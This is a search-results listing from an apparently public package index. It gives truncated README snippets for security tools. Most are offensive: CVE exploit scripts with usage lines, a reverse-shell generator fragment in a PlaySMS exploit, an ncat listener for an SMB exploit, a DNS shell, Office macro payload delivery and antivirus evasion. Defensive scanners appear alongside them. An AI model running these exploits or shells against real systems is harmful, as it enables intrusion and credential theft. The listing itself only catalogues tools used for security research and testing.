68028 matches found
BLESuite
BLESuite 自述文件 概述 BLESuite 是一个 Python 包，旨在使蓝牙低功耗（BLE）设备通信更加用户 友好，并支持快速的 BLE 设备测试。 BLESuite 2.0 版本移除了对 PyGattlib 和 BlueZ 的依赖，转而使用修改过的 PyBT https://github.com/mikeryan/PyBT 来实现并管理我们自己的 BLE 协议栈。该版本提高了 通信可靠性、通信灵活性，改进了设备扫描，并支持在蓝牙协议栈的主机层对设备进行 模糊测试。 BLESuite 所使用的协议栈有意允许向设备发送格式错误的请求/响应， 以便进行设备测试。 功能特性： 包含...
dBmonster
dBmonsterを使えば、近くのWiFiデバイスをスキャンし、それらが送信するパケットの信号強度（dBm）で追跡できます。これにより、近くのWiFiデバイスの正確な位置を特定したり（最良の結果を得るには指向性WiFiアンテナを使用）、あなたの（自作）アンテナがどの方向で最も効果的に動作するか（アンテナ放射パターン）を調べることができます。 さらに、WiFi攻撃で悪用されることの多いパケットタイプ（例：Deauthentication Frames）の信号強度を追跡し、あなたのネットワークを攻撃している誰かの位置を特定する機能もあります。 また、異常に長い間Probe...
sound4-directory-listing
徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 说明在此（如果你连这个都不会，那你其实不应该使用这个工具） 通过 pip 安装 pip install sound4-directory-listing 运行以下命令检查 sound4-directory-listing -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时接收即时通知。 Telegram 通知 sound4-directory-listing --chatid 打开你的 Telegram，搜索 @CappricioSecuritiesToolsbot 并点击开始 使用方法 3...
web-mitm-lab
WebMITM Lab - セキュリティ調査フレームワーク Python 3.x | 教育ライセンス | ライセンスを表示 ⚠️ 教育目的および許可されたセキュリティ調査専用 📌 説明 WebMITM Labは、管理された環境でのサイバーセキュリティトレーニングおよび調査において、Man-in-the-Middle（MITM）攻撃の概念を示すために設計された教育用フレームワークです。 目的 このツールキットは、セキュリティ専門家、学生、研究者が以下を理解するのに役立ちます： トラフィック傍受技術 HTTP/HTTPSフロー分析 安全でない設定の特定 防御的セキュリティ対策 🎓 教育的使用例...
hakkuframework
Hakku Framework Hakku is a simple framework that is made for penetration testing tools. Hakku framework has a simple structure, basic CLI, and useful features for penetration testing modules development. Getting started Use the "help" command to see all available commands. Here is a video if you...
avet
AntiVirus Evasion Tool AVET is not being further developed due to technical development and time constraints. AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques, as well as other methods used by...
CVE-2021-34045
CVE-2021-34045 druid 未認証アクセス一括スキャン PoC ツールの使用法 python3 CVE-2021-34045.py -u http://127.0.0.1:1111 単一URLテスト python3 CVE-2021-34045.py -f url.txt 一括検出 免責事項 この文書で提供される情報の伝播または利用によって生じた直接的または間接的な結果や損失は、すべて利用者自身が負うものとし、作者は一切の責任を負いません。...
DNS-Shell
DNS-shell DNS-ShellはDNSチャネルを介したインタラクティブシェルです。サーバーはPythonベースで、Pythonがインストールされている任意のOSで動作し、ペイロードはエンコードされたPowerShellコマンドです。 DNS-Shellについて ペイロードはサーバースクリプトが呼び出されたときに生成され、単にnslookupを使用してクエリを実行し、サーバーに新しいコマンドを問い合わせます。サーバーはポート53で受信通信を待ち受け、ターゲットマシンでペイロードが実行されると、サーバーはインタラクティブシェルを起動します。...
CVE-2020-8644-PlaySMS-1.4
CVE-2020-8644-PlaySMS-1.4 用于利用 PlaySMS 1.4.3 之前版本的 Python 脚本 执行 在你的机器上打开一个端口： 然后执行 exploit.py： ./exploit.py 修改漏洞利用 你可能想要更改 exploit.py 创建的反弹 Shell 为此，你可以更改 exploit.py 第 14 到 19 行的函数 createrevshellencoded： def createrevshellencodedlhost,lport: Change if you need revshell = "/?php //...
dronesploit
DroneSploit ドローンを簡単にペネトレーションテスト。 このCLIフレームワークはsploitkitに基づいており、特にドローンハッキング に焦点を当てたハッキング手法やエクスプロイトを集めたものです。使いやすさのために、インターフェースはMetasploitのようなレイアウトになっています。 pip3 install dronesploit ⚠️ フレームワークを起動すると、すべてのモジュールが無効 になっている場合があります。理由を確認するには、show...
MacroShop
MacroShop Officeマクロを介してペイロードを配信するためのスクリプト集。ほとんどはPythonです。詳細は http://khr0x40sh.wordpress.com を参照してください。 1. macrosafe.py ExcelスプレッドシートにVBとして含めるための安全なコードを生成します。Veil-EvasionのPowerShellペイロードによって生成されたバッチファイルが必要です。組み込むには、Officeの開発者メニューを有効にし、Visual...
CVE-2020-0796
使用方法 Python と ncat がインストールされていることを確認してください。 ターゲットコンピュータ上で calctargetoffsets.bat を実行し、スクリプトの出力に従って SMBleedingGhost.py ファイルの先頭にあるオフセットを調整します下記の注も参照してください。 ncat を次のコマンドライン引数で実行します: ncat -lvp ここで は ncat が待ち受けるポート番号です。 SMBleedingGhost.py を次のコマンドライン引数で実行します: SMBleedingGhost.py ここで はターゲットとなる脆弱なコンピュータの I...
canTot
canTot canTot は、sploitkit に基づいた Python ベースの CLI フレームワークで、Metasploit での作業と似ているため使いやすいです。これはエクスプロイトフレームワークに似ていますが、既知の CAN バス脆弱性や楽しい CAN バスハックに焦点を当てています。また、車両のペネトレーションテストのガイドとして、またはより簡単な方法でカーハッキングを学ぶための Python 学習としても使用できます。これは既存の CAN ファザーや、caring caribou のような車両探索ツール、その他の優れた CAN...
hstsparser
HSTS Parser HSTS Parser は、Firefox および Chrome の HSTS データベースを実際に役立つフォレンジックアーティファクトに解析するシンプルなツールです！ このツールの背景にある研究とその可能性については、私のブログで詳しく読むことができます。 インストール HSTS Parser は pip でインストールするか、ネイティブ実行ファイルとして利用できます。 PyPi から すでに Python がインストールされている場合は、pip を使用して HSTS Parser をインストールできます。 pip install hstsparser Fedo...
ROOT-APP-PYPI-CVE-2025-6176 CVE-2025-6176 in Brotli - Patched by Root
Root has patched CVE-2025-6176 in the Brotli package for Root:PyPI. Multiple fixed versions available...
wpUsersScan
wpUsersScan wpUsersScan について REST API / CVE-2017-5487 を介して WordPress ウェブサイトのユーザーリストを列挙します。WordPress 4.7.1 のユーザー名列挙 使い方 $ python wpUsersScan.py URL インストール方法 クローン リポジトリをクローンします。 $ git clone https://github.com/R3K1NG/wpUsersScan.git $ cd wpUsersScan $ python wpUsersScan.py 依存関係 必要な依存関係をインストールします。 $...
CVE-2017-7921
CVE-2017-7921 CVE-2017-7921-EXP Hikvision camera 本工具主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。 任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担并将追究其相关责任！ 使用帮助 --rhost 目标主机 --rport 目标端口 --level 测试等级： --level 1 检测漏洞是否存在 --level 2 获取监控管理源账号和密码 --level 3 获取监控快照和管理员密码 python3 CVE-2017-7921.py --rhost --rport 基于单个目标 python3...
CVE-2019-9053
CVE 2019-9053 详情 描述 此代码是Python 3中基于时间盲注SQL注入攻击的实现。该攻击旨在通过HTTP请求利用CMS Made Simple 2.2.8中的SQL注入漏洞。 利用 用法： exploit.py -u http://target-uri -w /path-wordlist -c 参考 1 CMS漏洞利用...
zombieguard
ZombieGuard 一款用于检测 ZIP 压缩包中结构元数据规避行为的防御性扫描器。 ZombieGuard 检测 ZIP 本地文件头、中央目录记录与负载特性之间的矛盾。这些矛盾可用于让压缩包内容对一个解析器显示为空或无害，而另一个解析器仍能访问到负载。 它结合了一个有界 ZIP 解析器与一个小型 LightGBM 模型。它不会解压或执行压缩包内容。 !IMPORTANT ZombieGuard 检测的是压缩包规避信号，而非恶意软件。干净的结果并不能证明压缩包内的文件是安全的。 60 秒快速上手 ZombieGuard 支持 Python 3.11 和 3.12。 git clone...